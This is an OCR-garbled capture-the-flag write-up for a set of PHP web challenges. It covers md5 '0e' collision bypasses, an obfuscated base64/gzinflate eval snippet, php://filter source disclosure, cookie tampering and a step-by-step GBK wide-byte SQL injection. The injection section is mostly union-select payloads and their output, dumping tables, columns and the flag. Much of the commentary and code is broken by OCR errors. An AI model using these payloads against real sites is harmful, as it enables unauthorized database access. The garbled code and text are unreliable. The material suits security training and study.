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md> collision

md5 collision s ht

$md51 = md5('QNKCDZO');

$a = @$_GET[a;

$md52 = @md5($a);

if(isset($a)){

if ($a |='QNKCDZO' && $md51 == $md52) {

eChO Hnth{*****************}".
} else {
echo "false!!!";

1}

else{echo "please input a";}

REEF] T phpiIFRA LLEL, LF/MEMA==#T RN, RRIEEEENE, MASELBEENERE, md5(QNKCDZO')
ffihashfE 5 0e830400451993494058024219903391 , T Oed+ KA IHF. ==\ KNIZME N0, Fril R FilEmd5(
a)IEAOed+  al=‘QNKCDZO’, XBEFIH & &FEH1E:

var_dump(md5('240610708') == md5('QNKCDZ0Q"));
var_dump(md5(‘aabg7XSs') == md5('aabC9RqS'))
var_dump(sha1(‘aaroZmOk') == sha1(‘aaK1STfY")

’

);

var_dump('0010e2' =="'1e3");
var_dump('0x1234Ab' =="'1193131");
var_dump('0xABCdef' == "' OxABCdef");
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var_dump(sha1('aaO8zKZF') == sha1(‘aa3OFF9m'));
(
(
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¢l-- Placed at the end of the document so the pages load faster -->
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¢script src="./js/jguery-n .min.js"></script>
<script sre="./js/jquery-c .min.js"»</script>
¢script src="./js/jguery-t. .min.js"></script>
<script src="./js/jquery-f .min.js"»</script>
¢script src="./js/jquery-{. .min.js"></script>
<script src="./js/jquery-t .min.js"»</script>
¢script src="./js/jguery-h .min.js"></script>
<script src="./js/jquery-i .min.js"»</script>
¢script src="./js/jquery-s .min.js"></script>
<script sre="./js/jquery-_ .min.js"»</script>
¢script src="./js/jguery-i .min.js"></script>
<script src="./js/jquery-s. .min.js"»</script>

.min.js"></script>
.min.js">»</script:
.min.js"»</script>
.min.js"></script>
.min.js"»</script>
.min.js"></script>
.min.js"»</script>
.min.js"></script>

¢script src="./js/jquery-_.
<script src="./js/jquery-a.
<script src="./js/jquery-_
¢script src="./js/jquery-f
<script src="./js/jquery-1
¢<script src="./js/jquery-4.
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<script sre="./js/jquery-
{script src="./js/jquery-
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AAencode

AAencode

2% W & http://blog.csdn.net/qq_38329811/article/details/78186362

aaencode: ¥JSHILHmLEEHANXEERE - .

R JavaScriptdaiy, FrLlE A firebugiiconsole#i iRk, KIAE =AFHEA E X\W03COUFFIF\UFF89, {# Funicode
BEATIARS, /Rl IX=EAFEE, ATgefEAAencodeh A X =EANFRFHIE L, M consolesg X —/ M RvarwI1="", EX
wl RS, BHIRFEconsolerh & LB TS, #itiflag!
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Response

jﬂaw I Headers T Hex I HTML T Render ]

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 11 Oct 2019 14:30:22 GMT
Content-Type: text/html

Connection: close

Via: 100142

Content-Length: 100

<script>window.location="./no_key_is_here_forever.php"; </script>
key is : ncﬂ{_vougotit_script_now}l

PHP decode


http://chinalover.sinaapp.com/web3/
http://homura.cc/CGfiles/aaencode.txt
http://chinalover.sinaapp.com/web8/

<?php
unction CLsl($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$Z2vSWE[$i] = chr(ord($ZzvSWE[$I]) - 1);

}
return $ZzvSWE;

}
eval(CLsl("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImMGNQBAA=="));
?>

EEXPHPMIshell I E#, eval ) RBEPATHES BREHER, XMABAERLH REENRE AN —AED, HAERXE
eval L H €M Aflag T, WAMELMRLBHATHIMS,, KRR, KrevalXifechoBl T, 1§2lflag!

phpinfo(); flag:nctf{gzip_base64_hhhhhh}

XHEE
LFl, midiclick me? no R¥urliH B2 1k, HHifile=show.php

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

SLLAEBIPHP O UMY, FEurlhEsin

file=php://filter/convert.base64.encode/resource=index.php

iX B B Seresource=show.php, & I B & show.php o F BHtest1234 i base64 4 L8 B NS, 5 B index.phpf8 Elbase64 N
RIS, #1Tbaseb4fEing
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https://www.cnblogs.com/c1e4r/articles/7806819.html
https://www.cnblogs.com/dubhe-/p/9997842.html
https://base64.supfree.net/
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Response

| Raw | Headers | Hex |

HTTP/1.1 302 Found

Server: nginx

Date: Fri, 11 Oct 2019 14:52:18 GMT

Content-Type: text/html

Content-Length: 0

Connection: close

flag: nctf{this_is_302_redirect}

Location: http://chinalover.sinaapp.com/web8/no_key is_here forever.php
Via: 1008

COOKIE

cookie

/ Request to http://chinalover.sinaapp.com:80 [220.181.136.41]

l Forward J l Drop J I Intercept is on ] [ Action J

jRaw I Params I Headers I Hex }

GET /web10/index.php HTTP/1.1

Host: chinalover. sinaapp.com

User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wing4; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html, application/xhtml+xml, application/xml;,q=0.9,*/*;q=0.8

Accept-Language: zh-CM,zh;q=0.8,zh-TW,q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;gq=0.2
Accept-Enceding: gzip, deflate

Connection: close

Cockie: Login=0

Upgrade-Insecure-Requests: 1

Burp#ELfL, K Blcookie: login=0, RIFERRH A1, Bflag

MySql

mysq|
WHEIRR, HEArobots.txt3cfE, KINIERAtip:


http://chinalover.sinaapp.com/web9/
http://chinalover.sinaapp.com/web10/index.php
http://chinalover.sinaapp.com/web11/

if($_GETI[id]) {
mysql_connect(SAE_MYSQL_HOST_M. "' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET][id]);
$query = @mysql_fetch_array(mysqgl_query("select content from ctf2 where id="$id"));

if ($_GET[id]==1024) {
echo "<p>no! try again</p>";

}

else{
echo($query[content]);

RIRFid=10248 4B H, Hid=HAER, #HIRAEENSE, RBROZHAEId=10248, RIFHEHREN, BiBiTunionkidE
WHId=1024 N, EREASHERY, BEE T KWHwriteup, KIE B 2mysqlf5E M &, k. .
1 \id=1024.00000001%&floatZs & £ B AT 3 B ifdk A, 19 Fflag.

GBK injection

gbkl

BFHEAN, REHAXNTERRELEBSQUEANEFFHEE, WT—web/MERE, HARREKES . HARRHITKE
1

1TREEERR . ZAMIER TR .

& Load URL hitp://chinalover.sinaapp.com/SQAL-GBK/index_php?id=1%df%27
1§ split URL

Execute
. [ Postdata [] Referer [] User Agent [] Cookies Clear All

2 R BIGBKI T, WA EAR, %8 iEpayload;

& Load URL hitp://chinalover.sinaapp.com/SQAL-GBK/index php?id=1%df and 1=1%23

gg Split URL

Execute
: [ Postdata [] Referer [] User Agent [] Cookies Clear All

3.4k g Myitpayload, order by 3k BIRAL, orderby2 KILP4E, WA HANRK.

= Load URL http://chinalover.sinaapp.com/SQL-GBK/index_php?id=1%df' and 1=1 order by
%23
1 split URL
v Execute

[] Postdata [] Referer [] User Agent [] Cookies Clear All

4. #i&payload


http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

) Load URL hitp:/fchinalover.sinaapp.com/SQL-GBK/index php?id=1%df and 1=2 union select

1.2 %23
g.g Split URL

Execute
Y (] Postdata [] Referer [] User Agent [] Cookies Clear All

FEERXE¥>and1=1%2 Hand1=2, F N HIWA T T E#RR:

@ chinalover.sinaapp.com/SQL-GBK/index.php BE e 1Y In @0 © 1
B et © =raE 0%

x  your sql:select id title from news where id = "132' and 1=2 union select 1,2 #'

2
]

5.#i&paylaod, K IMHEHE F 4 sae-chinalover.

g Load URL hitp://chinalover.sinaapp.com/SQL-GBK/index_php?id=1%df and 1=2 union select
1,database() %23
1§ split URL
l + ) Execute )
- [ Postdata [] Referer [] User Agent [] Cookies Clear All
(© chinalover.sinaapp.com/SOL-GEK/index.php BE e g iIn @O © 1 @
B =mmt © mrms (&g

x  your sql:select id title from news where id = "1}’ and 1=2 union select 1,database() #'
sae-chinalover

6.#i&payload, #F&sae-chinalover FHIE4 .

& Load URL http-//chinalover sinaapp.com/SQL-GBK/index php?id=1%df and 1=2 union A
select 1,group_concat(table_name) from information_schema TABLES where
% Split URL table_schema=database() %23
» ) Execute

[ Postdata [] Referer [] User Agent [] Cookies Clear All

your sql:select id title from news where id = "13Z' and 1=2 union select
1,group_concat({table name) from information_schema.TABLES where
table schema=database() #'

ctf,ctf2,ctf3,ctf4,gbksqgli,news
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@ Load URL http://chinalover sinaapp.com/SQL-GBK/index php?id=1%df and 1=2 union ~ *
select 1 group_concat{column_name) from information_schema.columns »
R split URL where table_name=0x63746634 %23
») Execute

[] Postdata [] Referer [] UserAgent [] Cookies Clear All

© chinalover.sinaapp.com/S0OL-GBK/index.php B e Y iIn 0 © 1
SeEm © srEs 0

¢ your sql:select id,title from news where id = "1i£' and 1=2 union select
1,group_concat(column_name) from information_schema.columns where
| table name=0x63746634 #'
id,flag

8.FFI%, flaghl, ET!

) Load URL http:/fchinalover.sinaapp.com/SQL-GBK/index php?id=1%df' and 1=2 union select
1.flag from ctf4 %23
I splitURL
[ » ) Execute .
- [] Postdata [] Referer [] UserAgent [] Cookies Clear All
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your sql:select id, title from news where id = "1B\' and 1=1 union select 1,2 #'
here is the information
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